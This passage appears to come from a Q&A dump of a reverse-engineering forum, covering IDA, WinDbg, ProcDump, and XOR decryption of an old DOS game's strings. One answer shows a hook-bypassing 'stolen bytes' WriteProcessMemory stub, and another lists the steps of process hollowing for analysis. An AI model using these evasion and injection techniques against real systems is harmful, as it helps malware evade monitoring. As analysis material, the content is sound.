\n" }, { "Id": "8384", "CreationDate": "2015-03-04T22:01:56.210", "Body": "

Someone said to do something like this to avoid scans for WPM calls:

\n\n
__declspec(naked) BOOL WINAPI SafeWriteProcessMemory(HANDLE hProcess,\n    LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize,\n    SIZE_T *lpNumberOfBytesRead)\n{\n    __asm\n    {\n            mov edi, edi\n            push ebp\n            mov ebp, esp\n            pop ebp\n            mov eax, WriteProcessMemory\n            add eax, 6\n            jmp eax\n    }\n}\n
\n\n

I put it in a program and debugged it in olly. I looked at kernel32.WriteProcessMemory. We're using the add eax, 6 to jump from here:

\n\n
MOV EDI,EDI                              ; BOOL kernel32.WriteProcessMemory(hProcess, ...)\nPUSH EBP\nMOV EBP,ESP\nPOP EBP\nJMP <JMP.&API-MS-Win-Core-Memory-L1-1-0. ; Jump to KERNELBASE.WriteProcessMemory\n
\n\n

To there. Effectively skipping over the instructions between the two. We're executing those instructions in our own call. But I don't understand why those instructions are being executed. We're pushing EBP onto the stack, moving ESP into EBP, then restoring EBP from the stack. That shouldn't actually be doing anything.

\n\n

I debugged it instruction-by-instruction, and still can't figure out why it's being done.

\n\n

Does it have something to do with Windows' useless mov edi,edis at the beginning of functions to allow jump patching?

\n", "Title": "Why does WriteProcessMemory in kernel32.dll do this? (ASM)", "Tags": "|windows|assembly|", "Answer": "

This is the \"stolen bytes\" technique, where the first few bytes of the function are copied to a remote location and executed from there, then the original function is called from the location after the bytes that were copied.

\n\n

The purpose of skipping the first few bytes of the function allows you to call the function body without being \"detected\". That is, any code which detoured the function at exactly the start would be bypassed.

\n\n

In your example, the EBP manipulation is meaningless. Those instructions exist in the original function in order to provide a familiar signature for routines that, for example, detour the code (but which is presumably broken by also including the hot-patching support). Note that the POP instruction did not exist in that location before Windows 7, with the introduction of the kernelbase.dll. Previously, the real function body would have followed the MOV instruction.

\n" }, { "Id": "8397", "CreationDate": "2015-03-06T10:55:28.563", "Body": "

Given a disassembly line in IDA Pro such as

\n\n
.text:0040255B      call    sub_407C10\n
\n\n

Am I right to assume that analyzing the belonging address using

\n\n
idautils.XrefsFrom(0x0040255B)\n
\n\n

always returns an xref of type 'Code_Far_Call' (xref.type 16) or 'Code_Near_Call' (xref.type 17)\nand not\nan xref of type \"Code_Near_Jump\" or \"Code_Far_Jump\"?

\n\n

In other words, can function call destination addresses always be identified by checking if the xref.type is of type 16 or 17 and then taking the value in xref.to?

\n\n

Of course in addition to the Call/Jump xref, the above statement always returns an xref of type 21 (the ordinary control flow).

\n\n

A list of possible xref types can be found here: https://code.google.com/p/idapython/source/browse/trunk/python/idautils.py

\n\n

What is the difference between a Code_Far_Call xref and a Code_Near_Call xref anyway?

\n\n

Thanks for your help!

\n", "Title": "Function calls: xref.type always 'Code_Far_Call' or 'Code_Near_Call'?", "Tags": "|ida|disassembly|assembly|idapython|python|", "Answer": "

This depends a bit on your compiler, Actually, as you seem to be using a 32 bit OS, i wouldn't expect any far calls.

\n\n

Near calls and Far calls are relicts from 16-bit area, where a call within the same 64 kbyte segment, that only changes IP, but not CS, was named a near call, and a call to anywhere in the address space, that changes CS and IP, was named a far call. Correspondingly, there were two different instructions ret and retf to return from the subroutine, that would pop just IP, or CS and IP from the stack.

\n\n

With the introduction of protected mode, and 32 bit segments, management of segment registers became the responsibility of the operating system, and user mode programs stopped fiddling with them. So you shouldn't see any far calls, or retf instructions, anymore - unless you're disassembling the parts of the operating system that handle task switching, possibly.

\n\n

You might see the occasional jump to a function, however (ref type 19), depending on your compiler. If the compiler optimizes tail recursion, it will replace the last \"call self / ret\" instruction with a \"jmp self\" instruction, and if parameter types match, it might replace a \"call someotherfunction / ret\" with \"jmp someotherfunction\" as well. I've seen this a lot in ARM code, and 64 bit Intel code, but can't remember seeing it in 32 bit compiled Intel code at the moment. However, i haven't worked with 32 bit Intel assembly much, recently, so there might be some newer compilers that do this without me noticing.

\n" }, { "Id": "8400", "CreationDate": "2015-03-06T18:06:29.720", "Body": "

I have ~20,000 .asm files from IDA pro output via hex-rays.

\n\n

These were all created from known malware, and all from 32bit Windows Portable Executables.

\n\n

I do not have the original executables, just the disassembled output(.asm) files.

\n\n\n\n

Inspecting them visually I have hand crafted a list of 30 or so ( jmp, push,mov, call, lea.. etc etc) with help from this site, which list common instructions http://www.strchr.com/x86_machine_code_statistics.

\n\n

Are there any clues in the headers of these files which could assist in defining possible mnemonics ? Are these consistent across platforms or specific to some attribute of the original file?

\n\n

I searched IDA pros documentation, and it seem all the functionality for this is available during the disassembling process, but I am stuck with the .asm files to parse.

\n\n

similar questions with no help.

\n\n

Parsing IDA Pro .asm files

\n\n

IDA Pro List of Functions with Instruction

\n\n

sample .asm Header

\n\n
       ;\n       ; +-------------------------------------------------------------------------+\n       ; |   This file has been generated by The Interactive Disassembler (IDA)    |\n       ; |       Copyright (c) 2013 Hex-Rays, <support@hex-rays.com>       |\n       ; |          License info:                              |\n       ; |                Microsoft                |\n       ; +-------------------------------------------------------------------------+\n       ;\n\n       ; ---------------------------------------------------------------------------\n       ; Format      : Portable executable for 80386 (PE)\n       ; Imagebase   : 400000\n       ; Section 1. (virtual address 00001000)\n       ; Virtual size              : 0002964D ( 169549.)\n       ; Section size in file          : 00029800 ( 169984.)\n       ; Offset to raw data for section: 00000400\n       ; Flags 60000020: Text Executable Readable\n       ; Alignment     : default\n       ; OS type     :  MS Windows\n       ; Application type:  Executable 32bit\n\n               include uni.inc ; see unicode subdir of ida for info on unicode\n\n               .686p\n               .mmx\n               .model flat\n\n       ; ===========================================================================\n
\n\n

sample from inside

\n\n
.text:00401080                             ; ---------------------------------------------------------------------------\n.text:00401081 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC            align 10h\n.text:00401090 8B 44 24 10                             mov     eax, [esp+10h]\n.text:00401094 8B 4C 24 0C                             mov     ecx, [esp+0Ch]\n.text:00401098 8B 54 24 08                             mov     edx, [esp+8]\n.text:0040109C 56                                  push    esi\n.text:0040109D 8B 74 24 08                             mov     esi, [esp+8]\n.text:004010A1 50                                  push    eax\n.text:004010A2 51                                  push    ecx\n.text:004010A3 52                                  push    edx\n.text:004010A4 56                                  push    esi\n.text:004010A5 E8 18 1E 00 00                              call    _memcpy_s\n.text:004010AA 83 C4 10                                add     esp, 10h\n.text:004010AD 8B C6                                   mov     eax, esi\n.text:004010AF 5E                                  pop     esi\n.text:004010B0 C3                                  retn\n.text:004010B0                             ; ---------------------------------------------------------------------------\n
\n\n

Thanks for any pointers or clues as to the best way to approach this and my apologies if this isn't suitable for this forum.

\n", "Title": "Large number of IDA .ASM files, need list of potential mnemonics", "Tags": "|ida|hexrays|", "Answer": "

As I'm working with the malware samples provided by kaggle too, I faced the same problem. I found a solution by the processing in two steps, which extracts all the mnemonics used in the complete set.

\n\n

Note: As I'm not finished with my work yet, I'm not able to post the full script. The real implementation is realized with threading and the process takes roughly one hour for all 9 families. Addtionally the solution is not perfect and with good performance - rather a dirty fix.

\n\n
\n\n

1. Step: Roughly cleaning the IDA listing format of an INPUT.ASM into an OUTPUT.ASM (extraction from my script; see the discussion for this step here)

\n\n

Note: It should be mentioned that ignore dd like instructions. Additionally I keep the subroutines and basic blocks delimeted by ==== and -----.

\n\n
\ngrep -E '^.text:*' INPUT.ASM | grep -v align | grep -E '^.{10,15}[0-9A-F]{2} *|=======================|-----------------------------------' | sed 's/\\t/           /g' | grep -v ' dq ' | grep -v ' dd ' | grep -v ' db ' | grep -v ' dw ' | cut -c100-200 |  sed -e 's/^[ \\t]*//' | tr -s [:blank:] | cut -d ';' -f1 > OUTPUT1.ASM\n
\n\n
\n\n

2. Step: Process the cleaned OUTPUT.ASM in python (extraction from my script)

\n\n
\n#!/usr/bin/python\nmneLocal = set()\nwith open('OUTPUT.ASM') as oFile:\n    for line in oFile.readlines():\n        mne = line.split(\" \")[0]\n        if mne[0] != '-' and mne[0] != '=' and len(mne)≤6 and not mne[0].isdigit() and mne.islower():\n            mneLocal.add(mne)\nprint(mneLocal)\n
\n\n
\n\n

3. Output: Applied on the Ramnit dataset

\n\n
\nset(['jns', 'fbstp', 'jnp', 'rol', 'psrlw', 'fld1', 'jnz', 'movd', 'imul', 'lds', 'jnb', 'psrlq', 'cdq', 'psrld', 'pand', 'pfmax', 'ror', 'fxch', 'jno', 'dt', 'fisub', 'movq', 'cmps', 'arpl', 'pi2fd', 'pfmin', 'cld', 'nop', 'pf2id', 'maxss', 'add', 'jcxz', 'adc', 'fadd', 'pf2iw', 'fistp', 'setbe', 'aad', 'maxps', 'fmulp', 'movzx', 'fdivp', 'fdivr', 'femms', 'not', 'repe', 'cmc\\r\\n', 'svts', 'repne', 'shr', 'pfadd', 'sgdt', 'mulps', 'leave', 'div', 'mulpd', 'shl', 'btc', 'cmp', 'rcpps', 'psubd', 'psubb', 'bts', 'btr', 'loope', 'jle', 'pandn', 'fist', 'out', 'fstcw', 'cbw\\r\\n', 'xor', 'sub', 'neg', 'rep', 'lddqu', 'jge', 'movs', 'pfrcp', 'fdiv', 'jecxz', 'xchg', 'mul', 'pavgb', 'lea', 'ficom', 'pfsub', 'jz', 'addpd', 'jp', 'subsd', 'js', 'bt', 'fidiv', 'daa\\r\\n', 'jo', 'clc\\r\\n', 'lods', 'jg', 'ja', 'jb', 'addps', 'jl', 'cmovz', 'movsd', 'cld\\r\\n', 'xorpd', 'les', 'cmovl', 'subss', 'movsx', 'xlat', 'cmova', 'cmovb', 'nop\\r\\n', 'sbb', 'or', 'cmovg', 'shrd', 'fsub', 'por', 'bound', 'pop', 'setnb', 'fmul', 'pabsw', 'subps', 'minsd', 'minss', 'sti\\r\\n', 'xadd', 'cdq\\r\\n', 'setnl', 'retf', 'faddp', 'retn', 'rcr', 'rcl', 'pslld', 'call', 'setnz', 'das\\r\\n', 'aas\\r\\n', 'setns', 'setnp', 'sldt', 'ptest', 'fcomi', 'divps', 'jmp', 'rcpss', 'ffree', 'lgdt', 'pfacc', 'utes', 'shld', 'fcomp', 'fsave', 'psraw', 'aam', 'subpd', 'fstsw', 'psrad', 'pxor', 'fsubp', 'fsubr', 'fldcw', 'dec', 'fld', 'loop', 'and', 'addsd', 'cmovs', 'fldz', 'psubq', 'sal', 'int', 'lock', 'andpd', 'in', 'fucom', 'ud2\\r\\n', 'addss', 'fild', 'sar', 'scas', 'psllw', 'andps', 'bswap', 'inc', 'mulss', 'paddd', 'std\\r\\n', 'paddb', 'psubw', 'stc\\r\\n', 'idiv', 'psllq', 'paddw', 'cli\\r\\n', 'mulsd', 'paddq', 'test', 'setp', 'fiadd', 'hnt', 'orpd', 'enter', 'minps', 'bsr', 'mov', 'orps', 'fstp', 'xorps', 'setle', 'bsf', 'fo', 'pfmul', 'movss', 'setb', 'aaa\\r\\n', 'setl', 'divsd', 'fimul', 'seto', 'fcom', 'hlt\\r\\n', 'jbe', 'fst', 'divss', 'sets', 'push', 'pavgw', 'setz'])\n
\n" }, { "Id": "8406", "CreationDate": "2015-03-07T07:23:45.287", "Body": "

I am attempting to amend some strings in an old DOS game (FIFA International Soccer), specifically the names of players.

\n\n

In the past it hasn't been too hard to pull off such a task on post-DOS games as either the strings are easy to track down in the executable or a data file. However, for this DOS game I am stuck.

\n\n

I have scanned through the game files and the executable with a hex-editor but cannot find the strings. The game includes a english.dat file which does contain readable localised strings. However, this file only contains names for in game headers and menu options as opposed to the player names I am seeking. The other files consist of localised strings for other languages, graphics and sounds.

\n\n

I have used a debug build of DOSBOX to perform a memory dump using the following command:

\n\n
memdumpbin 180:0 1000000\n
\n\n

I got the command from here: http://www.vogons.org/viewtopic.php?t=9635

\n\n

In the memory dump I can find the strings I wish to change.

\n\n

What is the best way of linking this information to find the source of the strings? I assume that these strings are somehow encrypted or compressed in the executable, although it could be in another obscure game file. If the strings are compressed/encrypted perhaps there is a common method for pulling this data out of the executable.

\n\n

I have IDA5 (free version) installed and would be happy using this as part of process. My operating system is Windows 8 / 64 bit.

\n\n

Also, to be clear - I want to modify the strings at source (i.e. in the file) and not in memory.

\n", "Title": "How can I find the source of a string in an old DOS game?", "Tags": "|disassembly|debugging|strings|dos|", "Answer": "

This program uses the PharLap DOS extender, as can be seen in its MZ header. The 32-bit executable program starts at offset 18A0, per \"offset within header of relocation table\" (see http://www.program-transformation.org/Transform/PcExeFormat), and at that position you can see the correct signature P3. According to the header info, the executable's length is 0x95851, which is another hint this is correct. Near the end of this part, starting at 18A0, you can see a text string \"Hello EA\", and at the next 32-byte \"page\" the signature MZ that indicates another executable is embedded. So this large part must contain the main executable.

\n\n

Browsing the file with a simple hex editor at my preferred width of 16 hex characters, I noticed a recurring pattern when doing page-downs (a good way to get a 'sense' of what sort of data a file contains). I saw the pattern repeated every 2 lines, and when I set the display width to 32, the pattern was evident. Executable formats always start with a fixed header, and are usually followed by lots of zeroes for padding, so I suspected the repeating pattern may be the XOR key. A simple C program confirmed this; I did not know where to start with decoding but the first non-all-zeroes multiple of 32 seemed a good guess: offset 0x1AA0.

\n\n

Decoding from there proved the hunch to be correct:

\n\n
00000 : Y...r9..n3.>..-.A@I.7P........h4..a\"1.P(s.......x. rG..f...X.+..\n00040 : ..a|D.P(.b..A...x......f3..F..h4....a.P(...........o7..f3..F2...\n00080 : .@@@@@@...@@BLASTER=@ULTRASND=@GOLD=@mvsound.sys@DEVICEdevice@@@\n000C0 : @@@@@@@@@@@.......ULTRAMID@@@@@@@@@@@@@@@ ..@.@@@@@@.........@.@\n00100 : .@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@@.@@@@..@@...@@@..@@......&...\n00140 : ./....8....C....N....X...@c.@@ m....y...................C.......\n00180 : .PCSPKR.ADV@MT32MPU.ADV@ADLIB.ADV@ADLIBG.ADV@SBFM.ADV@SBFM.ADV@S\n001C0 : BP1FM.ADV@SBP2FM.ADV@PASFM.ADV@PASOPL.ADV@TANDY.ADV@GF1MIDI.ADV@\n00200 : CUST_MID.ADV@SBP2FM.ADV@SBAWE32.ADV@@@@ALGDIG.ADV@SBDIG.ADV@SBDI\n00240 : G.ADV@SBPDIG.ADV@SBPDIG.ADV@PASDIG.ADV@PASDIG.ADV@@GF1DIGI.ADV@C\n(etc.)\n
\n\n

so the next step was scroll down to near the end of this part and see what was there. Disaster! Rather than readable texts, all I saw was random data -- yet still with clear patterns.

\n\n

But 'an executable' is not one contiguous long chunk of data. It's common to see it divided up into separate sections for \"executable code\", \"initialized data\", \"uninitialized data\", \"relocations\" and so on. The sections all start at an aligned address when loaded into memory, but not necessarily in the file itself, or with the same 'memory page' size. Therefore, it may be possible that the XOR encryption restarts at the start of new section. The PharLap header should contain information on where each section starts and ends (and if you are going to attempt to adjust the program, you should look into this), but to confirm the XOR key is the same all I had to do is adjust the starting position. Starting one position further, no success, but 2 positions further on I noticed this piece of data:

\n\n
890C0 : B.@.L.@^W.@.a.@^l.@.v.@^..@...@ @ @ @ @ @ @ @~FIFA International\n89100 :  Soccer@ @PC Version by@~The Creative Assembly@ @~Lead Programme\n89140 : r@ @Tim Ansell@ @ @ @~Programmers@ @Adrian Panton@Clive Gratton@\n89180 :  @ @~Lead Artist@ @Will Hallsworth@ @ @ @~Additional Artwork@ @A\n891C0 : lan Ansell@ @ @ @~Original Music@Composed, Produced@and Performe\n89200 : d by@Ray Deefholts@for ~HFC Music@ @Additional Drum@Programming \n89240 : and@Assistance@ @Tim Ansell@ @~Sound Effects@ @Bill Lusty@ @ @ @\n89280 : ~Producer@ @Kevin Buckner@ @ @ @~Associate Producer@ @Nick Golds\n(etc.)\n
\n\n

That was the proof I needed: the data section does use the same XOR key. Next: testing all possibilities from 0 to 31 and see if something turns up. Only at +30 that turned out to work, just as I was going to give up:

\n\n
782C0 : ..@...@,..@..Algeria@Ali Mehdaoui Igail@Mohammed Said@Abdel Dahb\n78300 : i@Hamid Ahkmar@Nagar Baltuni@Omar Mahjabi@Ali Cherif@Hamar Mahbo\n78340 : ud@Khered Adjali@Imahd Tasfarouk@Alamar Sahid@Mahmar Ahboud@Akha\n78380 : r Binnet@Mouhrad Dahlib@Mahied Amruk@Lakhar Diziri@Amaar Azir@Mu\n783C0 : stafa Farai@Akmar Bahoud@Ahmad Said@Taraki Aziz@Argentina@Alfio \n(etc.)\n
\n\n

So each individual section in the executable is encrypted with a 32-byte XOR key; this XOR key is the same for all sections; it starts a-new per section.

\n\n

The C program below will decrypt the entire file and you have to adjust the starting position manually. To edit the file, you have to:

\n\n
    \n
  1. Read up on PharLap's sections.
    2. \n
  2. Decrypt each section individually.
    3. \n
  3. Write all into a new file.
    4. \n
  4. Adjust what you want.
    5. \n
  5. Encrypt the sections again (it's a XOR key, so this uses the exact same algorithm).
    6. \n
  6. Copy the encrypted file back into the main executable.
    7. \n
\n\n

A note on #4: you mentioned changing the names of the players. Since it's a zero-terminated list of names, you can assume there is a list of pointers to these names somewhere else. That means you can only change the individual characters of a name -- not make it longer. If you want to adjust all names freely, you must find the list of pointers and adjust that as well.

\n\n
\n\n

(Preliminary updates)

\n\n
    \n

  1. The XOR encoding does not use sections. Instead, it seems like every block starts with a word determining its length, and possibly 1 or 2 next words (possibly (again) to set the XOR key starting position). Not conclusive so far.

    2. \n

  2. Executables are abundant with zeroes. If you count the number of zeroes in each 32-byte chunk, XORed against all 32 possible positions, and print out the XOR position with the highest number of them, you can see successive lists of the same 'best' guess. That shows there are longer and shorter sections XORed with the same key and may help determining the length algorithm.

    3. \n
\n\n
\n\n\n\n
#include <stdio.h>\n#include <stdlib.h>\n\nunsigned char encrypt[32] = {\n    0x23, 0x91, 0xC8, 0xE4, 0x72, 0x39, 0x9C, 0xCE,\n    0x67, 0x33, 0x99, 0xCC, 0xE6, 0x73, 0xB9, 0x5C,\n    0x2E, 0x17, 0x8B, 0x45, 0xA2, 0x51, 0xA8, 0x54,\n    0x2A, 0x95, 0xCA, 0x65, 0x32, 0x19, 0x8C, 0x46\n};\n\nint main(int argc, char *argv[])\n{\n    FILE *f;\n    int i, c, d = 0;\n\n    f = fopen (\"../Downloads/fifa/fifa.exe\", \"rb\");\n    if (!f)\n    {\n        printf (\"yeah no such file\\n\");\n        return 0;\n    }\n\n    /* reasonable assumption for start: */\n    fseek (f, 0x1aa0, SEEK_SET);\n    /* adjust per section! this position is valid for the names only */\n    fseek (f, 30, SEEK_CUR);\n    c = 0;\n    printf (\"%05X : \", d);\n    do\n    {\n        d++;\n        i = fgetc (f);\n        if (i == EOF) break;\n        i ^= encrypt[c & 31];\n        if (i >= ' ' && i <= '~') putchar (i); else if (i) putchar ('.'); else putchar ('@');\n        if (++c >= 64)\n        {\n            c = 0;\n            printf (\"\\n\");\n            printf (\"%05X : \", d);\n        }\n    } while (d < 0x95851);\n    fclose (f);\n\n    return 0;\n}\n
\n" }, { "Id": "8410", "CreationDate": "2015-03-07T15:15:35.507", "Body": "

Well, I've got an function that the pseudo code looks like:

\n\n
void d4l_auxadc_cali_unlocked_ioctl()\n{\n  unsigned int v0; // r1@1\n  unsigned int v1; // r7@1\n  ...\n
\n\n

However, I am aware that the definition of the function is as follow:

\n\n
int d4l_auxadc_cali_unlocked_ioctl(void* a1, unsigned long a2, unsigned long a3)\n
\n\n

So I tell the decompiler what I know by using the \"Set Item Type\", and here is what I got:

\n\n
int __fastcall d4l_auxadc_cali_unlocked_ioctl(void *a1, unsigned __int32 a2, unsigned __int32 a3)\n{\n  unsigned int v3; // r1@1\n  unsigned int v4; // r7@1\n
\n\n

The problem is, the local variable \"v3\" is actually as same as the function argument \"a2\", but the decompiler failed to connect them together.

\n\n

I've tried to map \"v3\" to \"a2\" by using \"Map to another variable\", but I am only allow to do the mapping with \"v4\", \"v5\" ...

\n\n

What can I do now ... ?

\n\n

And BTW, does anyone know the meaning of \"@1\" as a part of \"r1@1\" ?

\n\n

The head of assembly codes is as follow. It seems that none of them modify the r1 register, so I don't know why the compile chooses to create a different variable.

\n\n
ROM:C04C54E8                 MOV             R12, SP\nROM:C04C54EC                 STMFD           SP!, {R4-R7,R11,R12,LR,PC}\nROM:C04C54F0                 SUB             R11, R12, #4\nROM:C04C54F4                 STR             LR, [SP,#0x1C+var_20]!\nROM:C04C54F8 ; 25:   d4l___gnu_mcount_nc();\nROM:C04C54F8                 BL              d4l___gnu_mcount_nc\nROM:C04C54FC ; 28:   d4l_mutex_lock(&unk_C0D661A4);\nROM:C04C54FC                 LDR             R0, =unk_C0D661A4 ; void *\n                             //So far, none of the codes have modified r1, so why the compiler chooses to create a v3 ?\nROM:C04C5500 ; 26:   v4 = v3;\nROM:C04C5500                 MOV             R7, R1\nROM:C04C5504 ; 27:   v6 = v5;\nROM:C04C5504                 MOV             R4, R2\nROM:C04C5508                 BL              d4l_mutex_lock\n                             //Note that d4l_mutex_lock only takes one argument.\nROM:C04C550C ; 29:   if ( v4 == 1074031362 )\nROM:C04C550C                 LDR             R3, =0x40046B02\nROM:C04C5510                 LDR             R6, =unk_C0D661A4\nROM:C04C5514                 CMP             R7, R3\nROM:C04C5518                 LDR             R5, =0xC0E748B4\nROM:C04C551C                 BEQ             loc_C04C55EC\n
\n", "Title": "How to map a function argument to local variable?", "Tags": "|arm|hexrays|local-variables|arguments|", "Answer": "

The @1 part should be the instruction number within the assembly where the variable is defined.

\n\n

For the rest of your question, you'll probably have to look at the assembly code. r1 is the register to pass the second argument on an ARM processor all right, but a function call doesn't have to preserve its arguments, so the compiler is allowed to use r1 for something else once it doesn't need the argument (a2) anymore. I'd assume the assembly modifies r1 somewhere, which makes it different from a2, so the decompiler chooses to create a different variable name for it instead of producing a (possibly confusing) assignment to a2.

\n\n

If your function calls other functions, it will even need to overwrite r0..r3 (depending on the number of arguments to that function), so most code i've seen saves the arguments to the stack, or some other register. If your r1 doesn't get saved anywhere (because it's just needed at the start of your function and never again), this might be the reason why the decompiler doesn't want to assign a variable name, as well.

\n\n

To get a definite answer, i think you'd have to ask your question on the hex-rays forum and include the disassembled code, they tend to have excellent support there.

\n" }, { "Id": "8415", "CreationDate": "2015-03-08T11:21:44.690", "Body": "

Using tools like strace I can figure out the signals a program receives as it executes, regardless of whether or not signal handlers for those signals have been defined.

\n

[EDIT]\nIn order to do the same on Windows I'm following what's mentioned here. I tested it by having a test process sleep at the start for about 20 seconds, then crash by jumping to 0x41414141. As it sleeps I attach procdump.exe to the process and then monitor the exceptions in procmon.exe. Is there a way I can do this without the sleep? I tried running it from OllyDbg and then attaching procdump.exe but the message would say that the process is already being debugged.

\n

Any advice on how I could proceed?

\n", "Title": "Monitoring Exceptions raised by an executable", "Tags": "|windows|linux|seh|exception|", "Answer": "

You can just use the -x command line argument for ProcDump:

\n\n
\n

-x Launch the specified image with optional arguments. If it is a Store Application or Package, ProcDump will start on the next\n activation (only).

\n \n

...

\n \n

Launch a process and then monitor it for exceptions:

\n \n

C:\\>procdump -e 1 -f \"\" -x c:\\dumps consume.exe

\n
\n" }, { "Id": "8422", "CreationDate": "2015-03-09T09:45:01.020", "Body": "

How do I go into the thread function (so I can do step by step tracing), knowing only the handle to the thread. I am using OllyDbg for tracing and the thread is created through the API ZwCreateProcess(). However, the documentation that I have seen for this API does not contain the creation flags and pointer to the defined function which it will execute, which I both need.

\n\n

Is there a way to go into the thread function, knowing only the thread handle? Also, are there other ways to create suspended threads aside from CreateThread() and CreateRemoteThread()?

\n", "Title": "How to go into thread function knowing only the thread handle", "Tags": "|ollydbg|debugging|thread|", "Answer": "

Based on provided information I suspect that the used method here is Dynamic forking of a process or as it also know process hollowing. The idea is to execute some arbitrary process in suspended state and replace its \"guts\" with the contents of another executable image. In general the idea could be implemented as following (based on Dynamic forking by Tan Chew Keong, 2004):

\n\n
    \n
  1. Use the CreateProcess API with the CREATE_SUSPENDED parameter to create a suspended process from any EXE file. (Call this the first EXE).
    2. \n
  2. Call GetThreadContext API to obtain the register values (thread context) of the suspended process. The EBX register of the suspended process points to the process's PEB. The EAX register contains the entry point of the process (first EXE).
    3. \n
  3. Obtain the base-address of the suspended process from its PEB, i.e. at [EBX+8]
    4. \n
  4. Load the second EXE into memory (using ReadFile) and perform the neccessary alignment manually. This is required if the file alignment is different from the memory alignment
    5. \n
  5. If the second EXE has the same base-address as the suspended process and its image-size is <= to the image-size of the suspended process, simply use the WriteProcessMemory function to write the image of the second EXE into the memory space of the suspended process, starting at the base-address.
    6. \n
  6. Otherwise, unmap the image of the first EXE using ZwUnmapViewOfSection (exported by ntdll.dll) and use VirtualAllocEx to allocate enough memory for the second EXE within the memory space of the suspended process. The VirtualAllocEx API must be supplied with the base-address of the second EXE to ensure that Windows will give us memory in the required region. Next, copy the image of the second EXE into the memory space of the suspended process starting at the allocated address (using WriteProcessMemory).
    7. \n
  7. If the unmap operation failed but the second EXE is relocatable (i.e. has a relocation table), then allocate enough memory for the second EXE within the suspended process at any location. Perform manual relocation of the second EXE based on the allocated memory address. Next, copy the relocated EXE into the memory space of the suspended process starting at the allocated address (using WriteProcessMemory).
    8. \n
  8. Patch the base-address of the second EXE into the suspended process's PEB at [EBX+8].
    9. \n
  9. Set EAX of the thread context to the entry point of the second EXE.
    10. \n
  10. Use the SetThreadContext API to modify the thread context of the suspended process.
    11. \n
  11. Use the ResumeThread API to resume execute of the suspended process.
    12. \n
\n\n

So, to answer your question I firstly suggest to verify that this indeed happens. Secondly, if it does you can do the following to break on the new created thread entry point. The proposed way is not the only one, but IMHO will be easy done taking into account your relatively small experience in RE/executable analysis:

\n\n\n\n

I hope this is understandable otherwise ask and I'll clarify.

\n" }, { "Id": "8425", "CreationDate": "2015-03-09T14:50:01.407", "Body": "

I read the recent article \"Longest x86 Instruction\"

\n\n

http://blog.onlinedisassembler.com/blog/?p=23

\n\n

I attempted to reproduce the curious disassembly issue on a Win7x86 development platform using masm and as the article suggested, redunant prefixes.

\n\n

Talk is cheap, so here's a toy program (masm32):

\n\n
.386 .model flat, stdcall\n\noption casemap:none\n\nincludelib \\x\\x\\kernel32.lib\nincludelib \\x\\x\\user32.lib\n\ninclude \\x\\x\\kernel32.inc\ninclude \\x\\x\\user32.inc\ninclude \\x\\x\\windows.inc\n\n.code\n\nstart:\n\ndb 0F3h\ndb 0F3h\ndb 0F3h\ndb 0F3h\ndb 0F3h\ndb 0F3h\ndb 0F3h\n;...6 more bytes later\ndb 089h\ndb 0E5h\n\nend start\n\ninvoke ExitProcess, NULL\n
\n\n

After linking and assembling, I opened the resulting executable in windbg.

\n\n

To my disappointment, when I single step, unassemble the $exentry, etc. windbg simply sees the prefixes/bytes as individual instructions, says 'to hell with it' and executes only the valid instructions.

\n\n

Is there something I'm missing?

\n", "Title": "Longest x86 Instruction", "Tags": "|disassembly|assembly|windbg|", "Answer": "
\n

Is there something I'm missing?

\n
\n\n

The disconnect is that the ODA disassembler referenced in http://blog.onlinedisassembler.com/blog/?p=23 produces different output than WinDbg's disassembler given the same input.

\n\n

Perhaps what you're \"missing\" is based on the assumption that all disassemblers produce the same output given the same input, which is not a correct assumption to make.

\n" }, { "Id": "8434", "CreationDate": "2015-03-10T23:38:26.527", "Body": "

I am trying to obtain the memory map of a process. One way I can think of doing this is to attach Olly/Immunity Debugger to the process and copy the memory map to the clipboard. However, this is probably not a good idea when I'd like to repeat this multiple times consecutively. Is there a tool similar to ListDLLs that can be used to achieve this? I noticed procdump can be used to dump the memory of a process but I don't need a memory dump: I just need a list of valid memory locations.

\n", "Title": "Automatically list of mapped memory locations(and their attributes) of a running process", "Tags": "|windows|memory|dumping|", "Answer": "

execute this bat file you will need windbg in path

\n\n

it attaches to a running process (hard coded as calc.exe you can script it with %1) dumps the memory map filtered by page_readonly and mapped file and detaches automatically when quitting and sleeps for 10 seconds before repeating and pipes (appends its output to a file of choice that can be processed with your favorite text processing tool)

\n\n
:begin\necho Date and Time of Address Dump = %date%%time% >> address.text\ncdb -pd -c \"!address -1 -F:PAGE_READONLY,FILEMAP;q\" -pn calc.exe >> address.text\nsleep 10\ngoto begin\n
\n\n

you can use any test processing tool to parse the output

\n\n
:grep -iE  \"Date and Time of Address Dump | 80000 \" address.text\nDate and Time of Address Dump = 11/03/201512:25:21.01\n   80000    83000     3000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY MemoryMappedFile \"PageFile\"\nDate and Time of Address Dump = 11/03/201512:25:23.15\n   80000    83000     3000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY MemoryMappedFile \"PageFile\"\nDate and Time of Address Dump = 11/03/201512:25:26.82\n   80000    83000     3000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY MemoryMappedFile \"PageFile\"\n
\n" }, { "Id": "8440", "CreationDate": "2015-03-11T11:33:14.170", "Body": "

I've got a procedure in IDA Pro with a few local stack variables, but part of them belong to an array. I would like to define the array, but pressing * (Create Array) fails, and pressing Y (Set Type) just brings up the type for the procedure, not the variable.

\n\n

The same happens if I hover over an instance of its usage rather than its definition in the function prologue.

\n\n

Oddly enough I seem to be able to rename them just fine.

\n\n

How do I define a range of local variables to be an array; or, why is it not working for me?

\n", "Title": "How to make stack variables into an array in IDA Pro", "Tags": "|ida|stack-variables|stack|array|", "Answer": "

Double click the variable name in the disassembly, or press ctrl-k, to open the stack frame window. You can change your variable types there.

\n" }, { "Id": "8454", "CreationDate": "2015-03-13T12:44:29.593", "Body": "

Let's say I create a program in C like this and compile it on a regular 64-bit desktop machine:

\n\n
#include <stdint.h>\n\nint main(void)\n{\n    uint64_t a = 0x12345679abcdefULL;\n    uint64_t b = 0xfdcba987654321ULL;\n    uint64_t c = a + b;\n    return 0;\n}\n
\n\n

I just tested the code using gcc -O0 -S. It seems to allocate two 32-bit values on the stack and add then with addl and adcl separately. This happens for both -m32 and -m64 switch, even though I am on a 64-bit machine, and there indeed seem to be a dedicated instruction set for 64-bit integers, including operations such as movq and addq.

\n\n
    \n

